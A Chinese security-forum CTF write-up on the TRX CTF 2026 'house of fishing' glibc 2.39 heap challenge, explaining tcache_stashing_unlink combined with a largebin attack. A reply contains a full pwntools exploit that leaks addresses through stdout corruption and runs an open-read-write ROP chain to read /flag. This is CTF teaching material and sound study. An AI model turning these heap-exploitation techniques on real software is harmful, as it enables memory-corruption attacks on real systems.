首页
社区
课程
招聘
[原创]trx ctf 2026 house of fishing
发表于: 5天前 3036

[原创]trx ctf 2026 house of fishing

5天前
3036


TRX CTF 2026 house-of-fishing Writeup · rawpayload

看了一下 trxctf 2026 的堆题,这题看上去很简单,只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数,从而getshell,但是程序没有 show() 功能,因此无法通过修改fd之类的方式污染 bins,故而我们需要别的方法劫持堆,在刚开始做的时候没想出来怎么打,后面看了一眼官方的wp,自己整理了一下

题目给了一个elf文件,一个程序源码和docker file,查看docker file可以得知采用的是 glibc 2.39-0ubuntu8.5 版本的glibc

查询程序保护如下:

可以看到是一个很典型的 heap 的保护,保护几乎开满了


可以看到非常经典的heap题,存在 增删写 的功能,但是就是没有读,这就导致了实现任意地址写的方法变得麻烦起来了,一些常规的任意地址写的手法就无法生效了。

可以看到能够申请 size 值满足 16字节对齐 且 小于 0x500 的chunk

*admin == 0xdeadbeefdeadcafe 时即可触发 system("/bin/sh") 从而直接拿到shell,因此这题虽然是高版本的堆题目,但是却不需要打IO,只需要实现任意地址写即可getshell

首先没有 show() 我们无法直接修改fd指针,那么我们有什么方法可以在不泄露堆地址的情况下将fake chunk放入tcache呢?这时候 tcache_stashing_unlink 就派上了用场,改攻击手法能将smallbin chunk放入tcache中,同时因为 smallbin chunk的 bk 指针没有 safe linking 保护,因此我们可以直接将其修改成 目标地址 - 0x10 然后打 tcach_stashing_unlink 即可将目标地址放入 tcache 中。
由于 malloc 源码中存在如下的代码:

他会检测你取出的chunk的bk是否为有效指针,因此如果直接打 tcache_stashing_unlink 则会因此而无法走到 tcache_put(tc_victim, tc_idx); 这一步,因此我们需要提前利用 largebin attack 将一个有效的堆地址写入 fake chunk->bk 处,从而实现对应的攻击

因为要打 tcache_stashing_unlink 我们需要在一开始就直接构建好 smallbin chunk,防止后面再构造时出现问题,同时提前构造 smallbin 也可以不让堆结构变得特别乱

此时bin的结构如图

可以看到成功将6个0xa0的 chunk 放入 smallbin 中。

此时我们需要调用largebin attack,在 *(admin + 8) 处的地址写入一个堆地址,从而防止后续 tcache_stashing_unlink 时出现错误

最终能够发现成功将一个堆地址写入了 admin + 0x08 处的地址


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 5天前 被B1t3编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (7)
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
吓哭了
5天前
0
雪    币: 459
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mb_bcynexxj 吓哭了
学姐ddw
5天前
0
雪    币: 1236
活跃值: (60)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4

我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到tcache_stashing_unlink的过程中是可以通过修改smallbin的bk低字节修改为_IO_2_1_stdout_附近的地址(我的想法是利用是stderr中的指针当fake_chunk->bk,这样就不需要通过largebin_attack了(因为bk_nextsize地址是指向自己而不是libc中的地址,没法修改低字节打到stdout),但是需要修改edit的逻辑,不再是读满size大小的字节,而是可以读部分字节),然后通过修改_IO_2_1_stdout_实现泄露libc地址(menu打印用的是puts),如果能做到这步,那么相当于我们有libc内任意地址读了,那就可以泄露environ来打return_address劫持控制流,不过这些都只是理论...太懒了不想动手试)不知道师傅有没有什么其他见解,或者我这个思路有什么明显不可行的部分吗)

最后于 3天前 被F0xm1ao编辑 ,原因:
3天前
0
雪    币: 1236
活跃值: (60)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
5
F0xm1ao 我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到 ...

是可行的!我修改了一下源码里的read逻辑,从读满size改成了遇到"\n"停止

修改的源码部分

然后删除了backdoor函数,修改smallbin的低字节利用tcache_stashing_unlink打_IO_2_1_stdout_来实现show的等价逻辑,并且打environ能够get shell/打orw!

#!/usr/bin/env python3
from pwn import *  # type: ignore

context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
file_name = "./chall_patched"
libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6"
remote_addr = ""
remote_port = ""

e = ELF(f"{file_name}")
context.binary = e
context.log_level = "debug"  # error/debug

if args.REMOTE:
    p = remote(remote_addr, remote_port)
elif args.GDB:
    gdbscript = """b *$rebase(0x13C9)"""
    p = gdb.debug(file_name, gdbscript=gdbscript)
else:
    p = process(file_name)
libc = ELF(f"{libc_position}")

sd = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
rc = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
sh = lambda: p.interactive()
slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")


def debug(cmd=""):
    if not args.REMOTE:
        gdb.attach(p, cmd)
        pause()


def choice(a):
    sl(str(a).encode())


def add(a, b):
    choice(1)
    ru(b"ex:")
    sl(str(a).encode())
    ru(b"ze:")
    sl(str(b).encode())


def edit(a, b):
    choice(2)
    ru(b"ex:")
    sl(str(a).encode())
    sl(b)


def dell(a):
    choice(3)
    ru(b"ex:")
    sl(str(a).encode())


def safe(a, b):
    return b ^ (a >> 12)


for i in range(10):
    add(i, 0x390)

# prepare for tcache_poisoning
add(40, 0x200)
add(41, 0x20)
edit(41, b"/flag\x00\x00\x00")
add(42, 0x200)
add(43, 0x20)
dell(42)
dell(40)

# tcache_stashing_unlink
add(19, 0x20)
add(11, 0x390)
add(12, 0x20)
add(13, 0x390)
add(14, 0x20)
add(15, 0x390)
add(16, 0x20)
add(17, 0x390)
add(18, 0x20)
for i in range(3, 9):
    dell(i)

dell(1)
dell(0)
dell(2)
dell(11)
dell(13)
dell(15)
dell(17)
dell(9)
add(10, 0x400)

add(3, 0x390)
add(4, 0x390)
edit(9, p64(0) + b"\x50\x45")  # smallbin to stdout
for i in range(5, 9):
    add(i, 0x390)
add(1, 0x390)

add(30, 0x390)
add(31, 0x390)  # stdout

edit(31, p64(0) * 12 + p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
ru(b"es: ")
libc_base = uu64(rc(6)) - 0x204644
slog(b"libc", libc_base)


def leak_payload(a, b):
    payload = (
        p64(0) * 12
        + p64(0xFBAD1800)
        + p64(0) * 3
        + p64(a)
        + p64(a + b) * 2
        + p64(a)
        + p64(a + b)
    )
    return payload


environ = libc_base + libc.sym["_environ"]
edit(31, leak_payload(environ, 8))
ru(b"es: ")
stack = uu64(rc(6))
slog("stack", stack)

edit(31, leak_payload(stack - 0x980, 8))
ru(b"\x70\x79")
PIE_base = uu64(rc(6)) - 0x23AC
slog(b"PIE", PIE_base)

edit(31, leak_payload(PIE_base + 0x4060, 16))
rc(16)
heap_base = uu64(rc(6)) - 0x2A0
slog(b"heap", heap_base)

stack_chunk = heap_base + 0x26D0
sl(b"2")
sleep(0.1)
sl(b"40")
sleep(0.1)
sl(p64(safe(stack_chunk, stack - 0x198)))
slog("ret_addr", stack - 0x198)
sl(b"2")
sleep(0.1)
sl(b"31")
sleep(0.1)
sl(
    p64(0) * 12
    + p64(0xFBAD1800)
    + p64(0) * 3
    + p64(stack - 0xA0)
    + p64(stack - 0xA0 + 0x10) * 2
)
ru(b"\x72\x20\x39")
canary = uu64(rc(8))
slog(b"canary", canary)

flag_addr = heap_base + 0x28F0
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi = libc_base + 0x10F78B
pop_rsi_r15 = libc_base + 0x10F789
mov_dl_66 = libc_base + 0x1A22B1
buf = heap_base + 0x1110

orw = (
    p64(0)
    + p64(pop_rdi)
    + p64(flag_addr)
    + p64(pop_rsi_r15)
    + p64(0)
    + p64(0)
    + p64(open_addr)
)
orw += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi_r15)
    + p64(buf)
    + p64(0)
    + p64(mov_dl_66)
    + p64(read_addr)
)
orw += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi_r15)
    + p64(buf)
    + p64(0)
    + p64(mov_dl_66)
    + p64(write_addr)
)

sl(b"2")
sleep(0.1)
sl(b"10")
sleep(0.1)
sl(orw)
orw_chunk = heap_base + 0x3AD0

sl(b"1")
sleep(0.1)
sl(b"50")
sleep(0.1)
sl(b"512")
sleep(0.1)
sl(b"1")
sleep(0.1)
sl(b"51")
sleep(0.1)
sl(b"512")
sl(b"2")
sleep(0.1)
sl(b"51")
sleep(0.1)
pause()
sl(p64(1) + p64(canary) + p64(orw_chunk) + p64(libc_base + 0x0299D2))
sh()

不利用backdoor也能劫持控制流

3天前
0
雪    币: 459
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
F0xm1ao F0xm1ao 我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个back ...
师傅,我感觉你的这个思路确实非常棒,让我有了挺大的启发。
3天前
0
雪    币: 2561
活跃值: (3148)
能力值: ( LV12,RANK:276 )
在线值:
发帖
回帖
粉丝
7
巨佬
1天前
0
雪    币: 2561
活跃值: (3148)
能力值: ( LV12,RANK:276 )
在线值:
发帖
回帖
粉丝
8
pwn学得真好
1天前
0
游客
登录 | 注册 方可回帖
返回